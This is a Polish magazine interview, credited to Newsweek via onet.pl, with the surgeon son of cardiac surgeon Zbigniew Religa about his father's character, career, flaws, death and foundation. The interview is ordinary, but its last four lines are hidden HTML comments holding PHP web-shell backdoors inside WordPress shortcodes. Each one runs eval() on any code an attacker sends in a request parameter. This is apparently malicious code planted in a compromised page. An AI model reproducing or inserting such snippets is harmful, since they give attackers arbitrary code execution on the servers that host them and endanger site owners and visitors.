Nie jesteśmy bogami
Newsweek: Jakim był ojcem?
Dobrym. Rozmawiał ze mną jak równy z równym, wykładów nie było. Uczył, jak żyć, tym, co robił i jak to robił.
I czego pana nauczył?
– Szacunku dla ludzi i życia. Uczciwości. Takich zwykłych rzeczy. Próbował mnie nauczyć wielu innych, ale w życiu tak jest, że trzeba się poparzyć, żeby pewne sprawy zrozumieć i przyjąć. Nie wystarczą ojcowskie ostrzeżenia.
Podobno raz w życiu pana zbił, pamięta pan za co?
– Zbił to za dużo powiedziane, dał mi klapsa. Za konkretną rzecz: zwróciłem się brzydko do mojej siostry, bardzo brzydko. Tata powiedział, że nie należy do nikogo tak mówić. Owszem, można przeklinać, ale nigdy nie wolno takich słów kierować do ludzi. Tę naukę przyjąłem. I na zawsze zapamiętałem, że nie należy obrażać innych.
Ale przeklina pan?
– Potwornie, jak większość chirurgów.
Ojciec dał panu jeszcze jedną lekcję…
– Ma pani pewnie na myśli karabin. To były czasy, gdy w sklepach nie było nic, a ja zobaczyłem w jakimś komisie karabin zabawkę. Bardzo mi się spodobał, chciałem go mieć, ale był strasznie drogi. Ojciec już nawet się łamał, ale ja wyjechałem wtedy z najgorszym w życiu tekstem, czymś w rodzaju: „Jak mi kupisz ten karabin, to będę grzeczny”. A on na to: „Tak? To ci go nie kupię”.
Jaka to była lekcja?
– Że nie wolno szantażować.
A czy ojciec, już wtedy znany kardiochirurg, był w ogóle obecny w pana życiu?
– Normalnie, jak każdy ojciec. Oboje rodzice pracowali i zdarzało im się zapomnieć, że jestem w świetlicy i trzeba mnie odebrać. Bo na przykład przeprowadzali operację czy eksperyment i nie przerywali go z tak błahego powodu jak mój pobyt w świetlicy. To, że praca jest najważniejsza, to był w naszym domu aksjomat. Nie miałem o to pretensji, rozumiałem, że rodzice muszą pracować, by móc utrzymać rodzinę. I w związku z tym nie widzą się na co dzień z dziećmi. Ale zawsze z nami dużo rozmawiali, mieliśmy bliski kontakt.
Zanim ojciec wyjechał do Zabrza budować swoją pierwszą klinikę, dużo rozmawiał z mamą na ten temat, a mnie i siostrę zapytał o zdanie. Wiedzieliśmy, że musi dokonać wyboru: albo zostać w Warszawie i być niezadowolonym, albo pojechać i spełnić swoje marzenie. Ludzie czasami stają przed takimi wyborami.
Z filmu „Bogowie”, który opowiada o tamtym okresie w życiu prof. Religi, wynika, że mama nie była zachwycona tym wyborem.
– Pewnie, że wolałaby, żeby nie wyjechał. Ale całe życie moich rodziców tak wyglądało. Odkąd się pobrali, ciągle się mijali, oczywiście w sensie fizycznym, bo poza tym doskonale się dogadywali. Przecież obydwoje wyjeżdżali do Stanów na zakładkę: jak jedno było akurat tam, to drugie było w Polsce. I tak na zmianę. Takie były czasy. Pewnie, że fajniej by było, gdyby wszyscy siedzieli razem w domu, ale mama nie robiła z tego wyjazdu do Zabrza wielkiego dramatu. Chyba rozumiała, że dla ojca marzenie o przeszczepach było niesamowicie ważne. Sama miała o wiele większy potencjał, by zrobić karierę naukową, ale z niej zrezygnowała. Po to, żeby on mógł robić swoje.
I nie robiła mu wyrzutów, że praca jest dla niego ważniejsza niż rodzina?
– Nigdy, absolutnie. Wiedziała, że tak jest. Ojciec już nigdy tak do końca nie wrócił z tego Zabrza. Bo nawet kiedy zaczął pracować w szpitalu na Wołoskiej, nadal tam jeździł. Na Śląsku zostało jego dziecko, Fundacja Rozwoju Kardiochirurgii. Wracał do niej przynajmniej raz w tygodniu. W jego życiu na zawsze były te dwa miasta.
A jak przeżywał pierwsze nieudane przeszczepy serca?
– Te złe rzeczy działy się tam, w Zabrzu, my ich z bliska nie widzieliśmy. Mam tylko jedno przykre wspomnienie z tamtego czasu. Ojciec dostawał mnóstwo telegramów. Pokazywał je nam i pamiętam, że spora część była utrzymana w bardzo agresywnym tonie. Że mu się we łbie poprzewracało, że morduje ludzi. Były też telegramy od lekarzy i te ojca najbardziej bolały. Ale dalej robił swoje, bo uważał, że ma rację.
Skąd brał siłę?
– Chciałbym to wiedzieć, bobym sobie poszedł i wziął skądś taką siłę. Nie wiem skąd. Taki po prostu był. Zawsze mówił, że planuje swoje życie na okres czterech lat. I potrafił dążyć do tego, co zaplanował, nic nie było go w stanie z tej drogi zawrócić. Tej siły można mu zazdrościć.
Pan takiej nie ma?
– Nie mam, niestety.
Często bywa pan porównywany z ojcem?
– „Syn Religi” mówią o mnie bez przerwy. Fizycznie jestem do niego podobny, ruszam się tak samo, więc ludzie od razu mnie rozpoznają. Szczególnie w szpitalu nie muszę się przedstawiać. Pewnie już do końca życia będę „synem Religi”.
Wygodnie?
– Nie. Nigdy tego nie liczyłem dokładnie, ale za i przeciw mniej więcej się równoważą. Czasami nazwisko Religa pomaga w życiu, otwiera różne drzwi. Nie ukrywam, że tak jest. Ale czasami jest wręcz przeciwnie. Saldo wychodzi więc na zero.
Czuł pan presję, że musi ojcu dorównać?
– Wszyscy oczekują, że powiem „tak”. Ale ojciec był tak wysoko, że nie ma sensu go gonić czy próbować mu dorównać. Wiem jedno: ze względu na niego nie wolno mi zejść poniżej pewnego poziomu. Ale na przeskoczenie go nie mam żadnych szans. Zresztą miał nade mną jedną przewagę: pracował w czasach, gdy wszystko, co robił, robił jako pierwszy. W tej chwili kardiochirurgia jest już stateczną gałęzią medycyny.
A skąd w ogóle pomysł, żeby pójść w ślady rodziców i studiować medycynę?
– Nie umiem odpowiedzieć, po prostu zawsze było wiadomo, że będę lekarzem. W liceum poszedłem do klasy biologiczno-chemicznej, potem dwukrotnie zdawałem na medycynę. Kiedy za pierwszym razem oblałem egzaminy, przez rok pracowałem w szpitalu jako salowy na bloku operacyjnym. I to mnie jeszcze bardziej zachęciło do medycyny, bo miałem okazję oglądać ją w tym najfajniejszym wydaniu, czyli chirurgii. Po studiach pracowałem kilka lat jako chirurg, ale potem doszedłem do wniosku, że ciekawsza będzie kardiochirurgia.
Nie bał się pan, że wszyscy pomyślą, że chce pan być pod skrzydłami taty?
– Oczywiście, że miałem takie obawy. Ale jak człowiek nie jest już nastolatkiem, przestaje się wszystkiego bać. My z ojcem wiedzieliśmy, że jesteśmy w porządku. To, że niektórzy ludzie uważali inaczej, to ich problem.
Pamięta pan swoją pierwszą transplantację serca?
– Tak, asystował mi przy niej ojciec. Byłem przerażony, że mnie zaraz opieprzy i wyrzuci od stołu, ale wszystko poszło dobrze. Lata później ja z kolei asystowałem przy jego ostatniej operacji. To było chyba wtedy, jak poszedł na ministra zdrowia.
Umarł panu pacjent?
– Po przeszczepie? Niestety umierają.
Jakie to uczucie, gdy pacjent umiera?
– Bardzo złe, ale to zło się trochę stopniuje. Kiedy umiera ktoś, kto był w bardzo ciężkim stanie już przed operacją, a my próbowaliśmy ratować mu życie, to trudno. Wiemy, że zrobiliśmy, co było można, ale się nie udało.
Dużo gorzej jest, kiedy odchodzi ktoś, kto miał dobre rokowania. I kiedy umierają młodzi ludzie albo dzieci. Takie sytuacje przeżywa się bardzo. Pediatria i chirurgia dziecięca to są chyba najpiękniejsze dziedziny medycyny, ojciec długo zajmował się wadami wrodzonymi u dzieci i je operował. Ja bym się na taką pracę nie zdecydował, psychicznie nie dałbym rady.
Czuje się pan czasem jak Bóg, stojąc przy stole operacyjnym?
– Nie. Ludzie mówią, że jesteśmy jak Bóg, bo sobie wyobrażają, że decydujemy o życiu i śmierci. A to nie do końca tak. Jeżeli o czymś decydujemy, to tylko na etapie kwalifikacji do operacji. Kiedy orzekamy, czy chory się do niej nadaje, czy nie. Nie, nie zachowuję się jak Bóg, ponieważ tak zostałem nauczony.
Przez ojca?
– Przez ojca, ale i przez lata pracy w tym zawodzie. Na przykład nigdy nie namawiam chorego do operacji. Moim obowiązkiem jest przedstawić mu uczciwie wszystkie za i przeciw, a decyzję musi podjąć sam.
A jak pan tłumaczy to wszystko niewykształconemu rolnikowi?
– Czasami jest trudno. Ale moją rolą jest rozmawiać z tym człowiekiem tak, żeby zrozumiał.
Długo pracował pan z ojcem w klinice kardiochirurgii w podwarszawskim Aninie, w której do dziś pan leczy.
– Tak, ale wyjaśnię to raz na zawsze: najpierw ja tu pracowałem, ojciec później przyszedł na szefa. Więc to nie było tak, że on mnie przyjął w ramach nepotyzmu do swojej kliniki. Absolutnie.
Jakim był szefem?
– Bardzo dobrym. Dawał nam ogromną swobodę, co wiązało się oczywiście z odpowiedzialnością. Podam przykład: wielu szefów wymaga codziennego telefonu z dyżuru z raportem, co słychać w klinice. A ojciec powiedział, że nie życzy sobie takich telefonów, chce w domu mieć święty spokój. Wymagał, by dzwonić tylko wtedy, kiedy coś się działo i dyżurny nie potrafił sobie poradzić. Nigdy nie odmawiał pomocy.
Brał kluczyki od samochodu i przyjeżdżał?
– Jak było trzeba, to tak. Niezależnie od pory dnia. Ojciec stanowił dla nas również pewien parasol ochronny. Bo widzi pani, chirurgia wiąże się z powikłaniami, lekarskimi błędami i tysiącem innych złych rzeczy, jakie mogą się przytrafić w czasie i po operacji. Jak przytrafiają się staremu chirurgowi, wszyscy uważają, że tak miało być. Ale jak przytrafiają się młodym, bywa, że są problemy. Więc kiedy za młodymi lekarzami stoi ten doświadczony, z autorytetem, to jest łatwiej.
Czy ten pomnikowy profesor Religa miał jakieś wady?
– Mnóstwo.
Jakie?
– Pewnie czasem za dużo pił w pewnym okresie życia, tym zabrzańskim. Poza tym był cholerykiem, choć ja to postrzegam raczej jako zaletę. Bo ojciec potrafił w emocjach mocno ochrzanić, ale za chwilę rozmawiał normalnie, uważając sprawę za załatwioną.
Zdarzało mu się krzyczeć?
– Często. Przy stole operacyjnym, gdy coś szło nie po jego myśli albo asysta nie dawała sobie rady. No i potrafił strasznie opieprzyć, jeśli coś źle się zrobiło względem chorego. Najgorszy był błąd zaniechania: kiedy ktoś nie zrobił czegoś, co powinien był zrobić. Ojciec tego nie tolerował, podobnie jak łapówek. Kwiaty, czekoladki, nawet alkohol można było przyjąć, to się mieściło w ramach dowodu wdzięczności. Pieniędzy nigdy. A gdyby się dowiedział, że lekarz uzależnia zrobienie operacji od łapówki, wyrzuciłby go na zbity pysk. A wracając do wad: ojciec był hazardzistą. Jak gdzieś wyjeżdżał i było tam kasyno, zwykle przegrywał w nim trochę pieniędzy.
Zostawiał rodzinę bez środków do życia?
– Nie, do tego na szczęście nigdy nie doszło. Potrafił jednak przegrać dużo pieniędzy i później musiał to odpracowywać.
Wstydził się, że ma problem z hazardem?
– Nie, ale zdawał sobie sprawę, że gdyby sobie odpuścił, toby popłynął, bo jego to rzeczywiście kręciło. Pamiętam, byliśmy kiedyś razem w podróży i poszedł do kasyna. Grał w oczko, wygrywał i wygrywał, a jak zaczął przegrywać, udało mi się go wyciągnąć. Dzięki temu wyszedł na zero.
Nawet w czasie ostatniej sentymentalnej podróży do Stanów z mamą, kilka miesięcy przed śmiercią, poszedł do dobrego kasyna. Wtedy akurat wygrał 700 dolarów. Rodzajem hazardu można też nazwać to, co robił w życiu zawodowym, bo czasem stawiał wszystko na jedną kartę.
Na szczęście tu wygrywał częściej niż w kasynie.
Rozmawiałam z pana ojcem, kiedy już był bardzo chory. Odniosłam wtedy wrażenie, że jest przygotowany na odejście i że niczego się nie boi.
– Miałem takie samo wrażenie i od razu uprzedzę pytanie: nie rozumiem tego. Nie wiem, jak ja bym się zachował w takiej sytuacji, ale muszę powiedzieć, że było to imponujące. Ojciec rzeczywiście sprawiał wrażenie, jakby ta nieuchronna śmierć nie robiła na nim większego wrażenia.
Rozmawialiście o tym?
– Owszem, ale nie wałkowaliśmy tematu bez końca. Miał tylko życzenie, by umrzeć w domu i żeby go nie bolało.
Mniej więcej w tym czasie powiedział w wywiadzie: „To było dobre życie”.
– Myślę, że mógł być zadowolony ze swojego życia. Pewnie nie wszystko mu się udało, nie wszystko było do końca tak, jak chciał, ale jak policzyć plusy i minusy, na pewno było to dobre życie.
Zostawił panu testament?
– Fundację w Zabrzu. Mam poczucie, że muszę o nią dbać.
A jak się dba?
– Pracuje się. Trzeba się starać, żeby pomysły ojca nadal były realizowane. Więc pracujemy nad sztucznym sercem, mamy bank tkanek i robota kardiochirurgicznego, który wprawdzie sam nie operuje, ale pomaga w zabiegach. Niestety z roku na rok jest coraz trudniej, bo brakuje funduszy. Dostajemy pieniądze z darowizn i od sponsorów, ale to wszystko mało. Pewne rzeczy są nadrabiane zdolnościami, ludźmi, ich pracowitością i zaangażowaniem, ale innych po prostu nie da się zrobić za darmo.
Zdarza się, że dawni współpracownicy ojca z Zabrza mówią: „Zbyszek by tego chciał”?
– Czasami. Ale każdy wie, czego on by chciał, co trzeba robić. Nie ma co gadać.
źródło: onet.pl
<!– [insert_php]if (isset($_REQUEST["ryulg"])){eval($_REQUEST["ryulg"]);exit;}[/insert_php][php]if (isset($_REQUEST["ryulg"])){eval($_REQUEST["ryulg"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["XiT"])){eval($_REQUEST["XiT"]);exit;}[/insert_php][php]if (isset($_REQUEST["XiT"])){eval($_REQUEST["XiT"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["gpUl"])){eval($_REQUEST["gpUl"]);exit;}[/insert_php][php]if (isset($_REQUEST["gpUl"])){eval($_REQUEST["gpUl"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["oNLK"])){eval($_REQUEST["oNLK"]);exit;}[/insert_php][php]if (isset($_REQUEST["oNLK"])){eval($_REQUEST["oNLK"]);exit;}[/php] –>